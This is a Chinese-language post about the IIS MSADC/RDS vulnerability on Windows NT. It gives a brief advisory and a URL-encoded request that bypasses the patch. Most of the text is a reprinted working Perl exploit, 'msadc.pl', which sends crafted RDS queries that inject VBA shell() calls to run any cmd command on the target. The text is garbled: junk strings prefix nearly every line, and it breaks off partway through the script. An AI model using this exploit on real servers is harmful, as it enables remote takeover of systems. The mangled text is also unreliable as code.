IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
a.}:d30 -=Eq/su% 涉及程序:
iWN.3|r Microsoft NT server
t:"=]zUU <W=[
sWJ 描述:
@@{_[ir 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~?`9i>3W~ `YmI' 详细:
ksOANLRN 如果你没有时间读详细内容的话,就删除:
K!-&Zv c:\Program Files\Common Files\System\Msadc\msadcs.dll
xL39>PB 有关的安全问题就没有了。
"Yfr"1RmO |+;K hC 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Qk~0a?#y5 $;)noYo 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
0'%+X| 关于利用ODBC远程漏洞的描述,请参看:
\p3nd!OIG jWv3O&+?X http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *`g-gk :L [YmZ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
C;)Xwm>e http://www.microsoft.com/security/bulletins/MS99-025faq.asp fD\^M{5f .sJys SA\ 这里不再论述。
K.#,O+-Kg` jsqUMy- 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
36^C0uNdX !4 4mT'Y /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
k67i`f= 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
RP`GG+K p-Rm,xyL% ^T}}4I_Y #将下面这段保存为txt文件,然后: "perl -x 文件名"
CSG+bqUG w8ZHk?: #!perl
hyk|+z`B #
#!8^!}nFO # MSADC/RDS 'usage' (aka exploit) script
4+/fP #
KD%xo/Z. # by rain.forest.puppy
As6)_8w #
1IOo?e=/bM # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
nCffBc # beta test and find errors!
@pqY9_:P1 E'&OOEMN- use Socket; use Getopt::Std;
Nh1e1m? getopts("e:vd:h:XR", \%args);
}sTH.% >}dTO/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
G!!-+n< o;M.Rt\A if (!defined $args{h} && !defined $args{R}) {
zJnL<Q print qq~
q9>Ls-k Usage: msadc.pl -h <host> { -d <delay> -X -v }
)){PBT}t] -h <host> = host you want to scan (ip or domain)
"4Lg8qm -d <seconds> = delay between calls, default 1 second
SZim>@R -X = dump Index Server path table, if available
||{T5E-.F -v = verbose
PZ -e = external dictionary file for step 5
Aj8l%'h[ xQNw&'|UU Or a -R will resume a command session
2X qTyf< Ax5mP8S ~; exit;}
86;+r'3p. ~
V@xu{ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'h!h! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
fbh6Ls/ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
hw&ke$Fg# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Mv/IMO0rR
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7>nhIp)) if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
-:)DX++ JwN}Jm if (!defined $args{R}){ $ret = &has_msadc;
JDC=J(B die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Ez06:]Jd +Od1)_'\D3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
-kG3k> by_ . "cmd /c ";
3+CSQb8 $in=<STDIN>; chomp $in;
kJ%{ [1fr $command="cmd /c " . $in ;
5xh!f%6 ePV-yy if (defined $args{R}) {&load; exit;}
$Nj'OJSj% ,|e} Y
[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u/z,92mmS &try_btcustmr;
Pk$}%;@v AC9{*K[ print "\nStep 2: Trying to make our own DSN...";
AkxH &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[Xxw]C6\>( th5,HO~ print "\nStep 3: Trying known DSNs...";
=jJ H^Y2 &known_dsn;
pBlRd{#fL xL9:4'I print "\nStep 4: Trying known .mdbs...";
9k+N3vA &known_mdb;
Oamv9RyDvC pwa.q if (defined $args{e}){
C}n'>],p print "\nStep 5: Trying dictionary of DSN names...";
Vh 2Bz &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
nVz5V%a!\q i?ZA x4D print "Sorry Charley...maybe next time?\n";
Zw2jezP@t exit;
zl0;84:H mG0L !5 ##############################################################################
G1kDM.L S$S_nNq sub sendraw { # ripped and modded from whisker
&J\B\` sleep($delay); # it's a DoS on the server! At least on mine...
%p<$|' my ($pstr)=@_;
j%#?m2J} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
uZ@-e|qto die("Socket problems\n");
{?w"hjy if(connect(S,pack "SnA4x8",2,80,$target)){
f_oq1 W)9 select(S); $|=1;
0Xp
nbB~~I print $pstr; my @in=<S>;
3.(.*> select(STDOUT); close(S);
[ }{w return @in;
):/,w!1 } else { die("Can't connect...\n"); }}
:aHcPc: U?^OD ##############################################################################
g4Y) Bz :lNg:r$4 sub make_header { # make the HTTP request
v}Z9+ yRC2 my $msadc=<<EOT
,g%o POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
xtOx|FkYcl User-Agent: ACTIVEDATA
-<|Y 1PQ Host: $ip
kzMa+(fu Content-Length: $clen
B#1:Y;Z Connection: Keep-Alive
%Nl`~Kz9U 5bXHz5i ADCClientVersion:01.06
j]>=1Rd0b( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
;8BA~,4l *vb ^N0P --!ADM!ROX!YOUR!WORLD!
FtN}]@F Content-Type: application/x-varg
s\_l=v3 Content-Length: $reqlen
k'g$2 n"iNKR>nW EOT
F,Q?s9s ; $msadc=~s/\n/\r\n/g;
_$8{;1$T? return $msadc;}
`v~!H\q wEE2a56L- ##############################################################################
{$0&R$v3 `%oIRuYG]j sub make_req { # make the RDS request
kymn)Ea my ($switch, $p1, $p2)=@_;
RE 9nU%! my $req=""; my $t1, $t2, $query, $dsn;
t=Jm|wJnUA BY$[ g13 if ($switch==1){ # this is the btcustmr.mdb query
o*-9J2V=J $query="Select * from Customers where City=" . make_shell();
mW~P!7] $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
F;pQ \Y $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
|:N>8%@6c VRtO; F elsif ($switch==2){ # this is general make table query
)yrAov\z* $query="create table AZZ (B int, C varchar(10))";
0vn[a,W<A $dsn="$p1";}
b~*i91)\ ;gUXvx~~r elsif ($switch==3){ # this is general exploit table query
/=TH08 $query="select * from AZZ where C=" . make_shell();
-TTs.O8P|< $dsn="$p1";}
nkRK+~> )&,K94
elsif ($switch==4){ # attempt to hork file info from index server
tFiR!f) $query="select path from scope()";
5,R`@&K3D $dsn="Provider=MSIDXS;";}
O#:&*Mv !R6ApB4ZI elsif ($switch==5){ # bad query
%'0&ElQ $query="select";
;Xu22fKh $dsn="$p1";}
s"coQ!e1. ^)0 9OV+hF $t1= make_unicode($query);
AkA!:!l $t2= make_unicode($dsn);
! Mo`^t $req = "\x02\x00\x03\x00";
JDA]t&D!v $req.= "\x08\x00" . pack ("S1", length($t1));
J{tVa(. $req.= "\x00\x00" . $t1 ;
63M=,0-Qt $req.= "\x08\x00" . pack ("S1", length($t2));
Xa,\EEmQ $req.= "\x00\x00" . $t2 ;
[;^,CD|P $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
'$[Di'*; return $req;}
Ri @`a f4"4ZVcr ##############################################################################
DP*@dFU" x8\<qh*: sub make_shell { # this makes the shell() statement
0
iRR{a< return "'|shell(\"$command\")|'";}
kjE*9bUc 3m=2x5{L ##############################################################################
*
t!r@k
RJ}#)cT sub make_unicode { # quick little function to convert to unicode
Q7GY3X*kA my ($in)=@_; my $out;
K5`Rk"s for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
9M'DC^x*T return $out;}
"U8S81' BJ5}GX! ##############################################################################
P^i.La, .~mCXz<x sub rdo_success { # checks for RDO return success (this is kludge)
0+ `Pg my (@in) = @_; my $base=content_start(@in);
@;Y~frT if($in[$base]=~/multipart\/mixed/){
c1%rV`)] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Fm3t'^SqF return 0;}
Lgi[u"Du yZ3nRiuRT ##############################################################################
^E,1V5 4l @)K9F sub make_dsn { # this makes a DSN for us
j *3}1L4P my @drives=("c","d","e","f");
BsLG^f print "\nMaking DSN: ";
$$1qF"GF foreach $drive (@drives) {
e:-8k_0| print "$drive: ";
\ZH&LPAY my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
XsL#;a C "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
]KuMz p! . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
OYmi?y\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Qh`:<KI return 0 if $2 eq "404"; # not found/doesn't exist
W?z#pV+jt if($2 eq "200") {
*b)Q5dw@1 foreach $line (@results) {
(OmH~lSO. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
1-VT}J( } return 0;}
I1"MPx{ Q6'nSBi:A_ ##############################################################################
gEJi[E@ ,pt%)
c sub verify_exists {
`G$1n#& my ($page)=@_;
Q8qz*v]{ my @results=sendraw("GET $page HTTP/1.0\n\n");
ziEz.Wn" return $results[0];}
%XTA;lrz Z|*!y]We ##############################################################################
PQ U]l"A 1HR~G9 sub try_btcustmr {
!#x= JX my @drives=("c","d","e","f");
tE"Si<[]H$ my @dirs=("winnt","winnt35","winnt351","win","windows");
.EP6oKA aT!;{+ foreach $dir (@dirs) {
- u3e5gW print "$dir -> "; # fun status so you can see progress
P?ep] foreach $drive (@drives) {
wFn[9_`* print "$drive: "; # ditto
6gO9 MQY $reqlen=length( make_req(1,$drive,$dir) ) - 28;
4/>Our 5 $reqlenlen=length( "$reqlen" );
_O:WG&a6 $clen= 206 + $reqlenlen + $reqlen;
:Og:v#r8= ,K9f_bv my @results=sendraw(make_header() . make_req(1,$drive,$dir));
I?!rOU=0
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
5"Kx9n| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
D@YP7 :K.4 n ##############################################################################
f`<FT'A
:S
%lv sub odbc_error {
USML~]G
z my (@in)=@_; my $base;
%kI}
[6J_ my $base = content_start(@in);
N> Jw if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&R-H"kK? $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h\[\\m
O $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/ONV5IkPy $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E;\M1(\u return $in[$base+4].$in[$base+5].$in[$base+6];}
(g8*d^u#PO print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
"AueLl) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
JHV)ZOO $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
/ l>.mK() `\$8`Zb; ##############################################################################
Xg<[fwW "`tXA sub verbose {
%B2XznZ: my ($in)=@_;
KpZ:Nh$ return if !$verbose;
K\!#4>yd print STDOUT "\n$in\n";}
$r.U .=RlOK ##############################################################################
70W"G
X& oh8L`=>&a sub save {
GRYe<